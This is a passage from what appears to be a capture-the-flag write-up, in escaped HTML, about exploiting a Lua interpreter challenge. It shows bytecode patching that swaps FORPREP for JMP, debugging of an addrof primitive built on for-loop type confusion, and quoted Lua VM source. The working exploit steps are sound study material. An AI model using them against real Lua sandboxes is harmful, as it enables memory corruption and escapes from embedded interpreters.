class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kr\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e1000000000000\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ex\u003c/span\u003e \u003cspan class=\"kr\"\u003edo\u003c/span\u003e \u003cspan class=\"kr\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"kr\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\u003cspan class=\"n\"\u003egsub\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x61\\0\\0\\x80\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x17\\0\\0\\128\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003efoo\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Memory Corruption\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003easnum\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efoo\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cblockquote\u003e\n\u003cp\u003eThe \u003ccode\u003egsub\u003c/code\u003e call patches the bytecode of the function to replace the \u003ccode\u003eFORPREP\u003c/code\u003e\ninstruction. Without the patch, the interpreter would raise an error\ndue to a non-numeric \u003ccode\u003estep\u003c/code\u003e parameter.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eLoading this code in the challenge interface leads to an error:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eError: [string \u0026#34;asnum = load(string.dump(function(x)...\u0026#34;]:2: bad \u0026#39;for\u0026#39; step (number expected, got string)\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThis is not too surprising, isn\u0026rsquo;t it? Since we are dealing with a different\nversion of the interpreter, the bytes used in the \u003ccode\u003egsub\u003c/code\u003e patch are probably wrong.\u003c/p\u003e\n\u003ch3 id=\"fixing-the-patch\"\u003eFixing the patch\u003c/h3\u003e\n\u003cp\u003eNo worries, though, as the interpreter in the challenge is equipped with two\nuseful features:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003easm\u003c/code\u003e -\u0026gt; assembles Lua instructions to bytes\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebytecode\u003c/code\u003e -\u0026gt; pretty-prints the bytecode of the provided Lua function\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLet\u0026rsquo;s inspect the bytecode of the for loop function to understand\nwhat is there we have to patch:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e# Code\nasnum = load(string.dump(function(x)\n    for i = 0, 1000000000000, x do return i end\nend))\n\nprint(bytecode(asnum))\n\n# Output\nfunction \u0026lt;(string):1,3\u0026gt; (7 instructions at 0x1099f0)\n1 param, 5 slots, 0 upvalues, 5 locals, 1 constant, 0 functions\n\t1\t7fff8081\t[2]\tLOADI    \t1 0\n\t2\t00000103\t[2]\tLOADK    \t2 0\t; 1000000000000\n\t3\t00000180\t[2]\tMOVE     \t3 0\n\t4\t000080ca\t[2]\tFORPREP  \t1 1\t; exit to 7 \u0026lt;--- INSTRUCTION to PATCH\n\t5\t00020248\t[2]\tRETURN1  \t4\n\t6\t000100c9\t[2]\tFORLOOP  \t1 2\t; to 5\n\t7\t000100c7\t[3]\tRETURN0  \t\nconstants (1) for 0x1099f0:\n\t0\t1000000000000\nlocals (5) for 0x1099f0:\n\t0\tx\t1\t8\n\t1\t(for state)\t4\t7\n\t2\t(for state)\t4\t7\n\t3\t(for state)\t4\t7\n\t4\ti\t5\t6\nupvalues (0) for 0x1099f0:\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe instruction to patch is the \u003ccode\u003eFORPREP\u003c/code\u003e. Represented in little endian,\nits binary value is \u003ccode\u003e0xca800000\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eWe will patch it with a \u003ccode\u003eJMP 1\u003c/code\u003e. by doing so, the flow will jump to the\n\u003ccode\u003eFORLOOP\u003c/code\u003e instruction, which will increment the index with the value of the \u003ccode\u003ex\u003c/code\u003e step\nparameter. This way, by leveraging the type confusion, the returned\nindex will contain the address of the TValue passed as input.\u003c/p\u003e\n\u003cp\u003eThe next step is to assemble the target instruction:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e5\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-lua\" data-lang=\"lua\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e \u003cspan class=\"n\"\u003eCode\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estring.format\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;%4x\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003easm\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;JMP\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e#\u003c/span\u003e \u003cspan class=\"n\"\u003eOutput\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mi\"\u003e80000038\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eAnd we can then verify that the patching works as expected:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e# Code\nasnum = load(string.dump(function(x)\n    for i = 0, 1000000000000, x do return i end\nend):gsub(\u0026#34;\\xca\\x80\\0\\0\u0026#34;, \u0026#34;\\x38\\0\\0\\x80\u0026#34;))\n\nprint(bytecode(asnum))\n\n# Output\nfunction \u0026lt;(string):1,3\u0026gt; (7 instructions at 0x10df28)\n1 param, 5 slots, 0 upvalues, 5 locals, 1 constant, 0 functions\n\t1\t7fff8081\t[2]\tLOADI    \t1 0\n\t2\t00000103\t[2]\tLOADK    \t2 0\t; 1000000000000\n\t3\t00000180\t[2]\tMOVE     \t3 0\n\t4\t80000038\t[2]\tJMP      \t1\t; to 6 \u0026lt;--- PATCHING WORKED!\n\t5\t00020248\t[2]\tRETURN1  \t4\n\t6\t000100c9\t[2]\tFORLOOP  \t1 2\t; to 5\n\t7\t000100c7\t[3]\tRETURN0  \t\nconstants (1) for 0x10df28:\n\t0\t1000000000000\nlocals (5) for 0x10df28:\n\t0\tx\t1\t8\n\t1\t(for state)\t4\t7\n\t2\t(for state)\t4\t7\n\t3\t(for state)\t4\t7\n\t4\ti\t5\t6\nupvalues (0) for 0x10df28:\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"leak-denied\"\u003eLeak Denied\u003c/h3\u003e\n\u003cp\u003eBy trying to leak a TValue result with the type confusion,\nsomething is immediately off:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e# Code\nasnum = load(string.dump(function(x)\n    for i = 0, 1000000000000, x do return i end\nend):gsub(\u0026#34;\\xca\\x80\\0\\0\u0026#34;, \u0026#34;\\x38\\0\\0\\x80\u0026#34;))\n\nfoo = function() print(1) end\nprint(\u0026#34;foo:\u0026#34;, foo)\n\nprint(\u0026#34;leak:\u0026#34;,asnum(foo))\n\n# Output\nfoo:\tLClosure: 0x10a0c0\nleak:     \u0026lt;--- OUTPUT SHOULD NOT BE NULL!\n\u003c/code\u003e\u003c/pre\u003e\u003cblockquote\u003e\n\u003cp\u003eAs a reliable way to test the addrof primitive,\nI am using functions. In fact, by default, when passing\na function variable to the print function in Lua,\nthe address of the function is displayed. We can use this\nto test if our primitive works.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eFrom this test, it seems that the for loop is not returning the\naddress leak we expect. To find out the reason about this, I took a little break and inspected\nthe function responsible for this in the source code. The relevant snippets follow:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e42\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eSNIP\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"nf\"\u003evmcase\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eOP_FORLOOP\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eStkId\u003c/span\u003e \u003cspan class=\"n\"\u003era\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eRA\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003ettisinteger\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003es2v\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003era\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e)))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e  \u003cspan class=\"cm\"\u003e/* integer loop? */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          \u003cspan class=\"n\"\u003elua_Unsigned\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003el_castS2U\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003eivalue\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003es2v\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003era\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e  \u003cspan class=\"cm\"\u003e/* still more iterations? */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003elua_Integer\u003c/span\u003e \u003cspan class=\"n\"\u003estep\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eivalue\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003es2v\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003era\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003elua_Integer\u003c/span\u003e \u003cspan class=\"n\"\u003eidx\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eivalue\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003es2v\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003era\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e  \u003cspan class=\"cm\"\u003e/* internal index */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nf\"\u003echgivalue\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003es2v\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003era\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e  \u003cspan class=\"cm\"\u003e/* update counter */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003eidx\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eintop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eidx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003estep\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e  \u003cspan class=\"cm\"\u003e/* add step to index */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nf\"\u003echgivalue\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003es2v\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003era\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003eidx\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e  \u003cspan class=\"cm\"\u003e/* update internal index */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nf\"\u003esetivalue\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003es2v\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003era\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003eidx\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e  \u003cspan class=\"cm\"\u003e/* and control variable */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003epc\u003c/span\u003e \u003cspan class=\"o\"\u003e-=\u003c/span\u003e \u003cspan class=\"nf\"\u003eGETARG_Bx\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e  \u003cspan class=\"cm\"\u003e/* jump back */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003efloatforloop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003era\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e  \u003cspan class=\"cm\"\u003e/* float loop */\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;---\u003c/span\u003e \u003cspan class=\"n\"\u003eOUR\u003c/span\u003e \u003cspan class=\"n\"\u003eFLOW\u003c/span\u003e \u003cspan class=\"n\"\u003eGOES\u003c/span\u003e \u003cspan class=\"n\"\u003eHERE\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          \u003cspan class=\"n\"\u003epc\u003c/span\u003e \u003cspan class=\"o\"\u003e-=\u003c/span\u003e \u003cspan class=\"nf\"\u003eGETARG_Bx\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e  \u003cspan class=\"cm\"\u003e/* jump back */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nf\"\u003eupdatetrap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eci\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e  \u003cspan class=\"cm\"\u003e/* allows a signal to break the loop */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003evmbreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eSNIP\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/*\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** Execute a step of a float numerical for loop, returning\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** true iff the loop must continue. (The integer case is\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** written online with opcode OP_FORLOOP, for performance.)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003efloatforloop\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eStkId\u003c/span\u003e \u003cspan class=\"n\"\u003era\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"n\"\u003elua_Number\u003c/span\u003e \u003cspan class=\"n\"\u003estep\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003efltvalue\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003es2v\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003era\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"n\"\u003elua_Number\u003c/span\u003e \u003cspan class=\"n\"\u003elimit\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003efltvalue\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003es2v\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003era\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"n\"\u003elua_Number\u003c/span\u003e \u003cspan class=\"n\"\u003eidx\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003efltvalue\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nf\"\u003es2v\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan 